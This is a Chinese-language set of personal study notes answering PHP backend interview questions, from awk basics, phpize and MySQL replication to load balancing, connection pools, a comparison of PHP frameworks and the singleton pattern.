在Linux下我們經常需要對一些文字文件做一些處理,尤其像從日誌裡提取一些資料,這是我們一般會用awk工具和sed工具去實現需求,這裡對awk的入門使用簡單記錄。
awk可以看作一種文字處理工具,一種專注資料操作的程式語言,一個資料處理引擎。其名字來源於三個發明者的姓名首字母。一般在Linux下使用的awk是gawk(gnu awk)。
入門
awk把文字文件看作是資料庫,每一行看作一條資料庫中的記錄,可以指定資料列的分隔符,預設的分隔符是”\t”,即Tab。
awk工作流程是這樣的:讀入有’\n’換行符分割的一條記錄,然後將記錄按指定的域分隔符劃分域,填充域,$0則表示所有域,$1表示第一個域,$n表示第n個域。預設域分隔符是”空白鍵” 或 “[tab]鍵”
awk的執行模式是: awk '{pattern + action}' {filenames}
awk的執行方式:
1.命令列方式
awk [-F field-separator] 'commands' input-file(s)
其中,commands 是真正awk命令,[-F域分隔符]是可選的。 input-file(s) 是待處理的檔案。
在awk中,檔案的每一行中,由域分隔符分開的每一項稱為一個域。通常,在不指名-F域分隔符的情況下,預設的域分隔符是空格。
2.shell指令碼方式
將所有的awk命令插入一個檔案,並使awk程式可執行,然後awk命令直譯器作為指令碼的首行,一遍通過鍵入指令碼名稱來呼叫。
相當於shell指令碼首行的:#!/bin/sh
可以換成:#!/bin/awk
3.將所有的awk命令插入一個單獨檔案,然後呼叫:
awk -f awk-script-file input-file(s)
其中,-f選項載入awk-script-file中的awk指令碼,input-file(s)跟上面的是一樣的。
一般是喲你哦個命令列模式就能滿足需求了。
這樣下面的一行文字:
abc def 123
dfg jik 234
在awk看來就是一個包含三個欄位的記錄,可以類比到mysql的一行記錄,只不過awk沒有一個mysql那麼強的scheme。
這樣比如我們要抽出中間的那一行資料,假設文字儲存為檔案 data.txt
awk '{print $2}'
很簡單,這樣就可以列印出中間的字元def 和jik 了。
下面來一個點點複雜的:
Beth 4.00 0
Dan 3.75 0
kathy 4.00 10
Mark 5.00 20
Mary 5.50 22
Susie 4.25 18
對於這樣的資料
使用 awk '$3>0 { print $, $2 * $3 }' data.txt 這樣會輸出
Kathy 40
Mark 100
Mary 121
Susie 76.5
理解就是可以在{}前面新增一個判斷的語句,只有符合條件的行才會執行後面的語句。
進階
相對於print輸出,可以使用printf進行格式化輸出:
awk -F ':' '{printf("filename:%10s,linenumber:%s,columns:%s,linecontent:%s\n",FILENAME,NR,NF,$0)}' /etc/passwd
print函式的引數可以是變數、數值或者字串。字串必須用雙引號引用,引數用逗號分隔。如果沒有逗號,引數就串聯在一起而無法區分。這裡,逗號的作用與輸出檔案的分隔符的作用是一樣的,只是後者是空格而已。
printf函式,其用法和c語言中printf基本相似,可以格式化字串,輸出複雜時,printf更加好用,程式碼更易懂。
檢視命令所在目錄
linux:
which ,whereis
which 用來檢視當前要執行的命令所在的路徑。
whereis 用來檢視一個命令或者檔案所在的路徑,
自己編譯過 PHP 嗎?如何開啟 readline 功能
沒玩過,暫無找到解釋。
如何檢視 PHP 程式的記憶體、CPU 佔用
int memory_get_usage ([ bool $real_usage = false ] ):返回當前的記憶體消耗情況,返回已使用記憶體位元組數
1、檢視伺服器網路卡流量、
sar -n DEV 2 10
2、檢視CPU
Top
3、檢視系統記憶體
free -m
4、檢視當前系統中的所有程式,過濾出來php相關的程式
ps -ef | grep php
如何給 PHP 增加一個擴充套件
使用php的常見問題是:編譯php時忘記新增某擴充套件,後來想新增擴充套件,但是因為安裝php後又裝了一些東西如PEAR等,不想刪除目錄重灌,別說,php還真有這樣的功能。
我沒有在手冊中看到。
如我想增加bcmath支援,這是一個支援大整數計算的擴充套件。windows自帶而且內建,linux“本類函式僅在 PHP 編譯時配置了 --enable-bcmath 時可用”(引號內是手冊中的話)
幸好有phpize,
方法是,要有與現有php完全相同的php壓縮包。我用的是php-5.2.6.tar.gz。
展開後進入裡面的ext/bcmath目錄
然後執行/usr/local/php/bin/phpize,這是一個可執行的文字檔案,要確保它在系統中
會發現當前目錄下多了一些configure檔案,
如果沒報錯,則
Php程式碼
./configure --with-php-config=/usr/local/php/bin/php-config
注意要先確保/usr/local/php/bin/php-config存在。
如果你的php安裝路徑不是預設的,要改。
如果沒有報錯,則make,再make install ,然後它告訴你一個目錄
你把該目錄下的bcmath.so拷貝到你php.ini中的extension_dir指向的目錄中,
修改php.ini,在最後新增一句extension=bcmath.so
重啟apache
-----------------------------------------
一、phpize是幹嘛的?
phpize是什麼東西呢?php官方的說明:
http://php.net/manual/en/install.pecl.phpize.php
phpize是用來擴充套件php擴充套件模組的,通過phpize可以建立php的外掛模組
比如你想在原來編譯好的php中加入memcached或者ImageMagick等擴充套件模組,可以使用phpize,通過以下幾步工作。
二、如何使用phpize?
當php編譯完成後,php的bin目錄下會有phpize這個指令碼檔案。在編譯你要新增的擴充套件模組之前,執行以下phpize就可以了;
比如現在想在php中加入memcache擴充套件模組:我們要做的只是如下幾步
————————————————————————
tar zxvf memcache-2.2.5.tgz
cd memcache-2.2.5/
/usr/local/webserver/php/bin/phpize
./configure –with-php-config=/usr/local/webserver/php/bin/php-config
make
make install
————————————————————————
注意./configure 後面可以指定的是php-config檔案的路徑
這樣編譯就完成了,還需要做的是在php.ini檔案中加入extension值
extension = “memcache.so”
修改 PHP Session 儲存位置、修改 INI 配置引數
通過修改php配置檔案即php.ini中的 session.save_path屬性值即可 ;
通常php.ini的位置在:
/etc目錄下或/usr/local/lib目錄下;
如果找不到,可通過phpinfo()方法輸出結果檢視到。
php.ini位置修改方法如下: php.ini檔案預設放在/usr/local/lib上面,
可以在編譯的時候使用--with-config-file-path引數來修改php.ini的存放位置。
例如,
你可以使用--with-config-file-path=/etc
把php.ini存放到/etc下面,然後可以從原始碼包中拷貝php.ini-dist到/etc/php.ini。
具體修改ini的配置引數就不用多說了,每一行前面分號表示註釋,需要改值的直接修改等號右側值即可。
負載均衡有哪幾種,挑一種你熟悉的說明其原理
維基對負載均衡概念的解釋:
“負載均衡”是一種計算機技術,用來在多個計算機(計算機叢集)、網路連線、CPU、磁碟驅動器或其他資源中分配負載,以達到最優化資源使用、最大化吞吐率、最小化響應時間、同時避免過載的目的。 使用帶有負載平衡的多個伺服器元件,取代單一的元件,可以通過冗餘提高可靠性。負載平衡服務通常是由專用軟體和硬體來完成。 主要作用是將大量作業合理地分攤到多個操作單元上進行執行,用於解決網際網路架構中的高併發和高可用的問題。
翻了很多資料,大致都將負載均衡分為這幾種:
- HTTP重定向負載均衡。
這種負載均衡方案的優點是比較簡單;
缺點是瀏覽器需要每次請求兩次伺服器才能拿完成一次訪問,效能較差。
(2)DNS域名解析負載均衡。
優點是將負載均衡工作交給DNS,省略掉了網路管理的麻煩;
缺點就是DNS可能快取A記錄,不受網站控制。
(3)反向代理負載均衡。
優點是部署簡單;
缺點是反向代理伺服器是所有請求和響應的中轉站,其效能可能會成為瓶頸。
(4)IP負載均衡。
優點:IP負載均衡在核心程式完成資料分發,較反向代理均衡有更好的處理效能。
缺點:負載均衡的網路卡頻寬成為系統的瓶頸。
(5)資料鏈路層負載均衡。
避免負載均衡伺服器網路卡頻寬成為瓶頸,是目前大型網站所使用的最廣的一種負載均衡手段。
簡書上看到介紹負載均衡的原理的有文章(https://www.jianshu.com/p/da6e562fa3a6),
資料庫主從複製 M-S 是怎麼同步的?是推還是拉?會不會不同步?怎麼辦
簡要解釋:
主伺服器master記錄資料庫操作日誌到Binary log,從伺服器開啟i/o執行緒將二進位制日誌記錄的操作同步到relay log(存在從伺服器的快取中),另外sql執行緒將relay log日誌記錄的操作在從伺服器執行。
更詳細的解釋:
1.Slave 上面的IO執行緒連線上 Master,並請求從指定日誌檔案的指定位置(或者從最開始的日誌)之後的日誌內容;
2. Master 接收到來自 Slave 的 IO 執行緒的請求後,通過負責複製的 IO 執行緒根據請求資訊讀取指定日誌指定位置之後的日誌資訊,返回給 Slave 端的 IO 執行緒。返回資訊中除了日誌所包含的資訊之外,還包括本次返回的資訊在 Master 端的 Binary Log 檔案的名稱以及在 Binary Log 中的位置;
3. Slave 的 IO 執行緒接收到資訊後,將接收到的日誌內容依次寫入到 Slave 端的Relay Log檔案(mysql-relay-bin.xxxxxx)的最末端,並將讀取到的Master端的bin-log的檔名和位置記錄到master- info檔案中,以便在下一次讀取的時候能夠清楚的高速Master“我需要從某個bin-log的哪個位置開始往後的日誌內容,請發給我”
4. Slave 的 SQL 執行緒檢測到 Relay Log 中新增加了內容後,會馬上解析該 Log 檔案中的內容成為在 Master 端真實執行時候的那些可執行的 Query 語句,並在自身執行這些 Query。這樣,實際上就是在 Master 端和 Slave 端執行了同樣的 Query,所以兩端的資料是完全一樣的。
出現不同步一般是主從資料庫字符集欄位等等有不完全一致的地方或配置主從同步的過程中有問題,再有可能就是資料量過大導致錯誤,具體情況具體解決吧!
如何保障資料的可用性,即使被刪庫了也能恢復到分鐘級別。你會怎麼做。
暫時能想到的只有主從低延遲同步和建立多重有效可用備份了。
參考:甲骨文的一張ppt
資料庫連線過多,超過最大值,如何優化架構。從哪些方面處理?
最直接的解決方法:修改 MySQL 安裝目錄下 my.ini 或者 my.cnf 檔案內的 max_user_connections 引數的數值,重啟 MySQL 伺服器。
一些可能的原因:
1.類似人數、線上時間、瀏覽數等統計功能與主程式資料庫同屬一個資料空間時就很容易出現。
2.複雜的動態頁尤其是使用者每次瀏覽都涉及到多資料庫或多表操作時候也很容易出現。
3.還有就是程式設計的不合理(比如複雜運算、等待等操作放置在資料庫互動行為中間進行),或者程式存在釋放BUG。
4.計算機硬體配置太低卻安裝太高版、太高配置的MySQL。
5.未採用快取技術。
6.資料庫未經過優化或表格設計及其複雜。
另外一種資料庫連線池方向:原文連結
資料庫連線池(Connection pooling)是程式啟動時建立足夠的資料庫連線,並將這些連線組成一個連線池,由程式動態地對池中的連線進行申請,使用,釋放。建立資料庫連線是一個很耗時的操作,也容易對資料庫造成安全隱患。所以,在程式初始化的時候,集中建立多個資料庫連線,並把他們集中管理,供程式使用,可以保證較快的資料庫讀寫速度,還更加安全可靠。
連線池基本的思想是在系統初始化的時候,將資料庫連線作為物件儲存在記憶體中,當使用者需要訪問資料庫時,並非建立一個新的連線,而是從連線池中取出一個已建立的空閒連線物件。使用完畢後,使用者也並非將連線關閉,而是將連線放回連線池中,以供下一個請求訪問使用。而連線的建立、斷開都由連線池自身來管理。同時,還可以通過設定連線池的引數來控制連線池中的初始連線數、連線的上下限數以及每個連線的最大使用次數、最大空閒時間等等,也可以通過其自身的管理機制來監視資料庫連線的數量、使用情況等。如下圖:
資料庫連線池機制:
(1)建立資料庫連線池物件(伺服器啟動)。
(2)按照事先指定的引數建立初始數量的資料庫連線(即:空閒連線數)。
(3)對於一個資料庫訪問請求,直接從連線池中得到一個連線。如果資料庫連線池物件中沒有空閒的連線,且連線數沒有達到最大(即:最大活躍連線數),建立一個新的資料庫連線。
(4)存取資料庫。
(5)關閉資料庫,釋放所有資料庫連線(此時的關閉資料庫連線,並非真正關閉,而是將其放入空閒佇列中。如實際空閒連線數大於初始空閒連線數則釋放連線)。
(6)釋放資料庫連線池物件(伺服器停止、維護期間,釋放資料庫連線池物件,並釋放所有連線)。
資料庫連線池在初始化時,按照連線池最小連線數,建立相應數量連線放入池中,無論是否被使用。當連線請求數大於最大連線數閥值時,會加入到等待佇列!
資料庫連線池的最小連線數和最大連線數的設定要考慮到以下幾個因素:
最小連線數:是連線池一直保持的資料庫連線,所以如果應用程式對資料庫連線的使用量不大,將會有大量的資料庫連線資源被浪費.
最大連線數:是連線池能申請的最大連線數,如果資料庫連線請求超過次數,後面的資料庫連線請求將被加入到等待佇列中,這會影響以後的資料庫操作
如果最小連線數與最大連線數相差很大:那麼最先連線請求將會獲利,之後超過最小連線數量的連線請求等價於建立一個新的資料庫連線.不過,這些大於最小連線數的資料庫連線在使用完不會馬上被釋放,他將被放到連線池中等待重複使用或是空間超時後被釋放.
502 大概什麼什麼原因? 如何排查 504呢?
前面說過各種錯誤碼的書面解釋了(飛機票),這裡再針對502,504引用一篇簡書小文章
502: Bad Gateway;504: Gateway Timeout;
從字面意思看來,都是因為Gateway發生了問題;什麼是Gateway,個人的理解就是對PHP這種指令碼伺服器而言,伺服器的指令碼執行程式(FastCGI服務)發生錯誤或者出現超時就會報502或者504。
典型的502錯誤是,如果PHP-CGI被卡住,所有程式都正在處理;那麼當新的請求進來時,PHP-CGI將無法處理新的請求就會導致502出現;
而504的典型錯誤就像上文所述,PHP執行被阻塞住,導致nginx等服務遲遲收不到返回的資料,此時就會報504的錯誤。
架構篇
偏運維(瞭解):
-
- 負載均衡(Nginx、HAProxy、DNS)
在大型系統設計中用代理在負載均衡是最常見的一種方式,而相對靠譜的解決方案中Nginx、HAProxy、LVS、F5在各大場中用得比較普遍,各有各的優勢和使用場景,由於本次要使用到TCP,因此Nginx只能在HTTP層負載,因此用HAProxy來負載,為什麼不用LVS?因為配置太麻煩。
HAProxy是免費、極速且可靠的用於為TCP和基於HTTP應用程式提供高可用、負載均衡和代理服務的解決方案,尤其適用於高負載且需要持久連線或7層處理機制的web站點。HAProxy還可以將後端的伺服器與網路隔離,起到保護後端伺服器的作用。HAProxy的負載均衡能力雖不如LVS,但也是相當不錯,而且由於其工作在7層,可以對http請求報文做深入分析,按照自己的需要將報文轉發至後端不同的伺服器(例如動靜分離),這一點工作在4層的LVS無法完成。
-
- 主從複製(MySQL、Redis)
-
- 資料冗餘、備份(MySQL增量、全量 原理)
資料冗餘:資料冗餘是指資料之間的重複,也可以說是同一資料儲存在不同資料檔案中的現象。可以說增加資料的獨立性和減少資料冗餘是企業範圍資訊資源管理和大規模資訊系統獲得成功的前提條件。資料冗餘或者資訊冗餘是生產、生活所必然存在的行為,沒有好與不好的總體傾向。
-
- 監控檢查(分存活、服務可用兩個維度)
暫無資料
-
- MySQL、Redis、Memcached Proxy 、Cluster 目的、原理
暫無資料(不太理解題目意思)
-
- 分片
按照資料庫分片理解:
分片(sharding)是資料庫分割槽的一種,它將大型資料庫分成更小、更快、更容易管理的部分,這些部分叫做資料碎片。碎片這個詞意思就是整體的一小部分。
Jason Tee表示:“簡言之,分片(sharding)資料庫需要將資料庫(database)分成多個沒有共同點的小型資料庫,且它們可以跨多臺伺服器傳播。”
技術上來說,分片(sharding)是水平分割槽的同義詞。在實際操作中,這個術語常用來表示讓一個大型資料庫更易於管理的所有資料庫分割槽。
分片(sharding)的核心理念基於一個想法:資料庫大小以及資料庫上每單元時間內的交易數呈線型增長,查詢資料庫的響應時間(response time)以指數方式增長。
另外,在一個地方建立和維護一個大型資料庫的成本會成指數增長,因為資料庫將需要高階的計算機。相反地,資料碎片可以分佈到大量便宜得多的商用伺服器上。就硬體和軟體要求而言,資料碎片相對來說沒什麼限制。
在某些情況中,資料庫分片(sharding)可以很簡單地完成。按地理位置拆分使用者資料庫就是一個常見的例子。位於東海岸的使用者被分到一臺伺服器上,在西海岸的使用者被分在另一臺伺服器上。假設沒有使用者有多個地理位置,這種分割槽很易於維護和建立規則。
但是資料分片(sharding)在某些情況下會是更為複雜的過程。例如,一個資料庫持有很少結構化資料,分片它就可能非常複雜,並且結果碎片可能會很難維護。
-
- 高可用叢集
高可用叢集(High Availability Cluster,簡稱HA Cluster),是指以減少服務中斷時間為目的的伺服器叢集技術。它通過保護使用者的業務程式對外不間斷提供的服務,把因軟體、硬體、人為造成的故障對業務的影響降低到最小程度。
簡單說就是:保證服務不間斷地執行,比如,在淘寶網什麼時候都可以上去買東西,微信隨時可以開啟發訊息聊天。
-
- RAID
按照硬碟RAID理解:簡單地說, RAID 是由多個獨立的高效能磁碟驅動器組成的磁碟子系統,從而提供比單個磁碟更高的儲存效能和資料冗餘的技術。 RAID 是一類多磁碟管理技術,其向主機環境提供了成本適中、資料可靠性高的高效能儲存。(知乎討論頁)
-
- 原始碼編譯、記憶體調優
暫無資料
快取
-
- 工作中遇到哪裡需要快取,分別簡述為什麼
登入註冊時向使用者手機號傳送的簡訊驗證碼是暫存redis的;
支付寶推送訊息鎖:用於在接收支付寶推送的非同步通知訊息時,第一次推送後如正確接收就利用redis上鎖,第二次推送時判斷已經上鎖就不再接收了,避免資料造成重複。
一般我使用redis的情況是隻有極少數字段,且不用長期儲存,在編碼中可能多個方法多個類都要用到,為了方便寫入讀取而用。
搜尋解決方案
其實不太懂這個意思,但是感覺這篇文章應該有點關聯性
效能調優
各維度監控方案
標題連結不是很切題但比較易懂。
日誌收集集中處理方案
資料不是很多。
國際化
在資訊科技領域,國際化與本地化(英文:internationalization and localization)是指修改軟體使之能適應目標市場的語言、地區差異以及技術需要。
國際化是指在設計軟體,將軟體與特定語言及地區脫鉤的過程。當軟體被移植到不同的語言及地區時,軟體本身不用做內部工程上的改變或修正。本地化則是指當移植軟體時,加上與特定區域設定有關的資訊和翻譯檔案的過程。
國際化和本地化之間的區別雖然微妙,但卻很重要。國際化意味著產品有適用於任何地方的“潛力”;本地化則是為了更適合於“特定”地方的使用,而另外增添的特色。用一項產品來說,國際化只需做一次,但本地化則要針對不同的區域各做一次。這兩者之間是互補的,並且兩者合起來才能讓一個系統適用於各地。
資料庫設計
不多說了。
靜態化方案
https://github.com/zhongxia245/blog/issues/39
https://blog.csdn.net/guchuanyun111/article/details/52056236
畫出常見 PHP 應用架構圖
未找到資料。
框架篇
ThinkPHP(TP)、CodeIgniter(CI)、Zend(非 OOP 系列)
ThinkPHP是一個快速、簡單的基於MVC和麵向物件的輕量級PHP開發框架,遵循Apache2開源協議釋出,自2006年誕生以來一直秉承簡潔實用的設計原則,在保持出色的效能和至簡程式碼的同時,尤其注重開發體驗和易用性,並且擁有眾多的原創功能和特性,為WEB應用和API開發提供了強有力的支援。
CodeIgniter 是一套給 PHP 網站開發者使用的應用程式開發框架和工具包。 它的目標是讓你能夠更快速的開發,它提供了日常任務中所需的大量類庫, 以及簡單的介面和邏輯結構。通過減少程式碼量,CodeIgniter 讓你更加專注 於你的創造性工作。
Zend Framework 2是一個基於*PHP* 5.3+開源的WEB程式開源框架, 框架100%`object-oriented`_,使用了大量的PHP5.3的新功能和特性, 包括`namespaces`_, late static binding, lambda functions and closures。
對比:
一、ThinkPHP
ThinkPHP(FCS)是一個輕量級的中型框架,是從Java的Struts結構移植過來的中文PHP開發框架。它使用物件導向的開發結構和MVC模式,並且模擬實現了Struts的標籤庫,各方面都比較人性化,熟悉J2EE的開發人員相對比較容易上手,適合php框架初學者。 ThinkPHP的宗旨是簡化開發、提高效率、易於擴充套件,其在對資料庫的支援方面已經包括MySQL、MSSQL、Sqlite、PgSQL、 Oracle,以及PDO的支援。ThinkPHP有著豐富的文件和示例,框架的相容性較強,但是其功能有限,因此更適合用於中小專案的開發。
優點
1.藉助成熟的Java思想
2.易於上手,有豐富的中文文件;學習成本低,社群活躍度高
3.框架的相容性較強,PHP4和PHP5完全相容、完全支援UTF8等。
4.適合用於中小專案的開發
5.從thinkphp3.2.2引入composer包管理工具
缺點
1.對Ajax的支援不是很好;
2.目錄結構混亂,相比其他框架目錄結構要差一點;
3.上手容易,但是深入學習較難。
二、CodeIgniter
優點:
1.CodeIgniter推崇“簡單就是美”這一原則。沒有花哨的設計模式、沒有華麗的物件結構,一切都是那麼簡單。幾行程式碼就能開始執行,再加幾 行程式碼就可以進行輸出。可謂是“大道至簡”的典範。
2.配置簡單,全部的配置使用PHP指令碼來配置,執行效率高;
3.具有基本的路由功能,能夠進行一定程度的路由;
4.具有初步的Layout功能,能夠製作一定程度的介面外觀;
5.資料庫層封裝的不錯,具有基本的MVC功能.
6.快速簡潔,程式碼不多,執行效能高,
7.框架簡單,容易上手,學習成本低,文件詳細;
8.自帶了很多簡單好用的library,框架適合小型應用.
缺點:
1.本身的實現不太理想。
2.內部結構過於混亂,雖然簡單易用,但缺乏擴充套件能力。
3.把Model層簡單的理解為資料庫操作.
4.框架略顯簡單,只能夠滿足小型應用,略微不太能夠滿足中型應用需要.
三、Zend Framework
優點:
1.大量應用了PHP5中物件導向的新特徵:介面、異常、抽象類、SPL等等。這些東西的應用讓Zend Framework具有高度的模組化和靈活性
2.嚴格遵循“針對介面程式設計”和“單一物件職責”等原則
3.官方出品,自帶了非常多的library,框架本身使用了很多設計模式來編寫,架構上很優雅,執行效率中等
4.MVC設計,比較簡潔
5.具有路由功能,配置檔案比較強大(能夠處理XML和php INI)
6.能夠直觀的支援除資料庫操作之外的Model層(比 CodeIgniter 和 CakePHP 強),並且能夠很輕易的使用Loader功能載入其他新增加的Class
7.Cache功能很強大,從前端Cache到後端Cache都支援,後端Cache支援Memcache、APC、SQLite、檔案等等方式
8.資料庫操作功能很強大,支援各種驅動(介面卡)
9.文件很全,在國內社群很成熟
缺點:
1.MVC功能完成比較弱,View層簡單實現(跟沒實現一樣),無法很強大的控制前端頁面.
2.沒有自動化指令碼,建立一個應用,包括入口檔案,全部必須自己手工構建,入門成本高
3.對於簡單和小型的專案來說,反而因為在框架中應用了大量物件導向設計,對開發者提出了更高的要求,間接增加了專案的開發成本
評價:
作為官方出品的框架,Zend Framework的野心是可以預見的,想把其他框架擠走,同時封裝很多強大的類庫,能夠提供一站式的框架服務,並且他們的開發團隊很強大,完全足夠有能力開發很強大的產品出來,所以基本可以確定的是Zend Framework前途無量,如果花費更多的時間去完善框架。同樣的,Zend Framework架構本身也是比較優雅的,說明Zend官方是有很多高手的,設計理念上比較先進,雖然有一些功能實現的不夠完善,比如View層,自動化指令碼等等,這些都有賴於未來的升級
Yaf、Phalcon(C 擴充套件系)
Yaf是一個C語言編寫的框架,主要特性如下(摘自鳥哥網站):
1. 用C語言開發的PHP框架, 相比原生的PHP, 幾乎不會帶來額外的效能開銷.
2. 所有的框架類, 不需要編譯, 在PHP啟動的時候載入, 並常駐記憶體.
3. 更短的記憶體週轉週期, 提高記憶體利用率, 降低記憶體佔用率.
4. 靈巧的自動載入. 支援全域性和區域性兩種載入規則, 方便類庫共享.
5. 高效能的檢視引擎.
6. 高度靈活可擴充套件的框架, 支援自定義檢視引擎, 支援外掛, 支援自定義路由等等.
7. 內建多種路由, 可以相容目前常見的各種路由協議.
8. 強大而又高度靈活的配置檔案支援. 並支援快取配置檔案, 避免複雜的配置結構帶來的效能損失.
9. 在框架本身,對危險的操作習慣做了禁止.
10. 更快的執行速度, 更少的記憶體佔用.
Phalcon 是一個基於 MVC 的 PHP 框架。與其他框架相比,它使用的資源非常少,轉化為 HTTP 請求能夠非常快速的處理,對於不提供太多消耗的系統的開發人員來說,這是非常重要的。
Phalcon 為開發人員提供資料儲存工具,例如其自己的 SQL 方言:PHQL,以及 MongoDB 的物件文件對映。其他功能包括模板引擎,表單構建器,易於構建具有國際語言支援的應用程式等等。Phalcon 是構建效能 REST API 以及完整的 Web 應用程式的理想選擇。
優:
低開銷
自動裝載
獨特,因為它是基於C擴充套件
內建非常好的安全功能
文件完備
開發人員友好
劣:
不像 Laravel 那樣開源
Bug 需要等待官方修復
不適用於 HHVM
Yii、Laravel、Symfony(純 OOP 系列)
Yii:
Yii 是一個基於元件的高效能php框架,用於開發大型Web應用。Yii採用嚴格的OOP編寫,並有著完善的庫引用以及全面的教程。從 MVC,DAO/ActiveRecord,widgets,caching,等級式RBAC,Web服務,到主題化,I18N和L10N,Yii提供了 今日Web 2.0應用開發所需要的幾乎一切功能。事實上,Yii是最有效率的PHP框架之一。
優點
1.純OOP
2.用於大規模Web應用
3.模型使用方便
4.開發速度快,執行速度也快。效能優異且功能豐富
5.使用命令列工具。
6.支援composer包管理工具
缺點:
1.對Model層的指導和考慮較少
2.文件例項較少
3.英文太多
4.要求PHP技術精通,OOP程式設計要熟練!
5.View並不是理想view,理想中的view可能只是html程式碼,不會涉及PHP程式碼。
Laravel:
優點
1.laravel的設計思想是很先進的,非常適合應用各種開發模式TDD, DDD 和BDD
2.支援composer包管理工具
3.集合了php 比較新的特性,以及各種各樣的設計模式,Ioc 容器,依賴注入等。
缺點
1.基於元件式的框架,所以比較臃腫
Symfony:
優點:
1.完整實現了MVC三層
2.封裝了所有東西,包括 $POST,$GET 資料,異常處理,除錯功能,資料檢測
3.包含強大的快取功能
4.自動載入Class,能夠很隨意的定義各種自己的class
5.強大的語言支援
6.具有很強大的view層操作,能夠零碎的包含單個多個檔案
7.非常強大的配置功能,使用xml配置能夠控制所有框架和程式執行行為
8.包含強大的多層級專案和應用管理:Project --> Application --> Module --> Action,能夠滿足一個專案下多個應用的需要,並且每層可以定義自己的類庫,配置檔案,layout
9.非常強大的命令列操作功能,包括建立專案、建立應用、建立模組、重新整理快取等等
10.Symfony絕對是開發大型複雜專案的首選,因為使用了Symfony,將大大節約開發成本,並且多人協作的時候,不會出現問題,在Project級別定義好基礎Class以後,任何模組都能夠重用,大大複用程式碼.
缺點:
1.最大的問題也在於使用了太多風格迥異的開源專案來組合成框架
2.由於Mojavi和Propel本身都相當複雜,因此Symfony的結構非常複雜,難以理解和學習
3. 快取功能無法控制,每次開發除錯總是快取,需要執行 symfony cc,symfony rc來清除和重建快取
4.效率不是很高,特別是解析模板和讀取配置檔案的過程,花費時間不少
5.學習成本很高,並且國內沒有成熟的社群和中文文件
評價:
Symfony絕對是企業級的框架,唯一能夠貌似能夠跟Java領域哪些強悍框架抗衡的東西;強悍的東西,自然學習複雜,但是相應的對專案開發也比較有幫助,自然是推薦複雜的專案使用Symfony來處理,覺得是值得,後期的維護成本比較低,複用性很強。相應的如果使用Symfony的應該都是比較複雜的網際網路專案,那麼相應的就要考慮關於資料庫分佈的問題,那麼就需要拋棄Symfony自帶的資料庫操作層,需要自己定義,當然了,Symfony支援隨意的構造model層
Swoole、Workerman (網路程式設計框架)
套用知乎上還算比較全面的一段分析吧:
- 安裝和環境需求:
1.1、swoole是c寫的php擴充套件,需要有一個安裝擴充套件的過程,但是workerman為了效能,也需要安裝event擴充套件。所以複雜度都差不多。
1.2、韓老師所說的“外部依賴上workerman需要依賴很多額外的第三方PHP擴充套件來實現,侷限性比較大,這些擴充套件並非是PHP官方維護的,維護性方面良莠不齊,有些擴充套件連PHP7都不支援,數年沒人維護”是不存在的。workerman一共只需要2個擴充套件,pcntl擴充套件和posix擴充套件,兩個擴充套件都不是什麼良莠不齊,PHP7不支援。我本人就是在php7.0安裝的swoole和workerman,並且這兩個擴充套件是原來就存在的。如果說使用擴充套件不好的話,swoole自己就是擴充套件呀。
2.文件方面:
2.1、swoole一共有3種文件:中文wiki版,英文版,英文git版。不要要求swoole能把文件寫好,只要能寫全了佛祖保佑吧。中文版我的體驗不太好,主要是不夠新,文件結構很亂。英文版可能是由英文git版生成的,但是缺少大塊的內容。英文git版應該是比較全的,只發現少量的url 404錯誤,但是可以自己去原始碼中找回。我建議swoole新手把git版英文版、中文版文件結合著看。建議新手不要對官方文件期質量待過高,只看中文版,那你會掉坑裡。一方面覺得新手不夠高階天天掉坑,另一方面文件又不給解釋清楚怎麼用,總感覺到哪裡不對是不是?如果你天真的去官網提出你的想法,嗯,你會遇到一個傲慢的老者讓你翻看《舊約》100頁後再來提意見。
2.2、workerman就簡單多了。中英文兩個文件,結構清晰,整個框架有什麼東西一目瞭然。但是workerman框架本來就內容很少。workerman官網有個非常噁心的地方,進入網頁會一聲巨響,而且每次進入都會巨響。
3.內容:
3.1、swoole:可能是因為要進行更高定製化的網路程式設計 ,swoole包含了一些相對於一般php-fpm程式設計中見不到的程式、執行緒等概念和解決方案,還包括某些非同步IO場景的解決方案。2.x還包含了協程概念,想要一次性跨過node.js 這種非同步語言所經歷的callback地獄的黑暗時期。官方的定位是《使 PHP 開發人員可以編寫高效能的非同步併發 TCP、UDP、Unix Socket、HTTP,WebSocket 服務》。也就是說,swoole不光是提供瞭解決方案,還要改變你的程式設計習慣。
3.2、workerman:提供高併發的tcp/udp/websocket/http server和client端解決方案。官方的定位是《開源高效能的PHP socket 伺服器框架》。
3.3、兩者都是常駐記憶體,也就是都用php命令列啟動應用。不是傳統的php-fpm場景。
4.使用習慣:
4.1、swoole的這些概念看似高大上,可用起來會發現,限制還挺多的,具體自己體驗吧。而且設計思路好像不太一樣,每種技術解決方案都用各自的思路,使用者整體使用起來會感覺到不夠連貫。我猜想c程式設計師或java程式設計師用起來應該沒有障礙,因為他們開始就必須考慮記憶體常駐、程式通訊、記憶體使用等問題。
4.2、workerman:非常簡單易用,整個框架就一個worker概念,使用起來就是worker裡套worker,或者worker和worker通訊。使用者根本不需要過多考慮程式或併發的細節,傳統的php-fpm(擴充套件,php-fpm什麼鬼)程式設計師一用就會。
5.也許以後會有真正使用後的深度使用評測、效能評測。兩者都可以做高效能網路服務,但兩者思路不一樣,內容不一樣,我想兩者的最終目的肯定更不會一樣,有些地方是沒有可比性的。本人是一個小學生,水平太次,有讓誰不高興的地方,歡迎來噴,我喜歡看到別人真實的觀點,當然也可以忽略我,畢竟高手太多了。
對比框架區別幾個方向點
-
- 是否純 OOP
- 類庫載入方式(自己寫 autoload 對比 composer 標準)
- 易用性方向(CI 基礎框架,Laravel 這種就是高開發效率框架以及基礎元件多少)
- 黑盒(相比 C 擴充套件系)
- 執行速度(如:Laravel 載入一大堆東西)
- 記憶體佔用
設計模式
單例模式(重點)
單例模式(singleton)有三個特點
1、一個類只能有一個例項
2、它必須自行建立這個例項
3、它必須自行向整個系統提供這個例項意圖:保證一個類僅有一個例項,並提供一個訪問它的全域性訪問點。
主要解決:一個全域性使用的類頻繁地建立與銷燬。
何時使用:當您想控制例項數目,節省系統資源的時候。
如何解決:判斷系統是否已經有這個單例,如果有則返回,如果沒有則建立。
關鍵程式碼:建構函式是私有的。
應用例項: 1、一個黨只能有一個書記。 2、Windows 是多程式多執行緒的,在操作一個檔案的時候,就不可避免地出現多個程式或執行緒同時操作一個檔案的現象,所以所有檔案的處理必須通過唯一的例項來進行。 3、一些裝置管理器常常設計為單例模式,比如一個電腦有兩臺印表機,在輸出的時候就要處理不能兩臺印表機列印同一個檔案。
